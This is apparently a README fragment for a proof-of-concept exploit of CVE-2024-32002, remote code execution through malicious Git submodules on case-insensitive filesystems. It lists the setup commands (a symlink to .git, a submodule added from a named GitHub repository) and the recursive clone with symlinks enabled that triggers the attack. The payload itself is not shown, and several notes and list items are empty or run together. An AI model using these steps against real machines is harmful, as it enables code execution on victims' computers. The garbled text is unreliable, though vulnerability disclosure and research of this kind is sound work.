
Proof-of-concept exploit for CVE-2024-32002, demonstrating remote code execution via malicious Git submodules on case-insensitive filesystems.
A POC for CVE-2024-32002 demonstrating Remote Code Execution (RCE).
See cve-2024-32002-poc-rce for the related submodule repository.
.git directory..gitmodules file that defines the malicious submodule.This repo was created in Linux (WSL2, to be specific). This is important, the malicious repo can only be created on a case-sensitive filesystem.
ln -s .git submodule
Notes:
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
Notes:
.git directory that tracks git status for submodules.This vulnerability only affects Windows and MacOS because they both have case-insensitive filesystems.
git --version
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git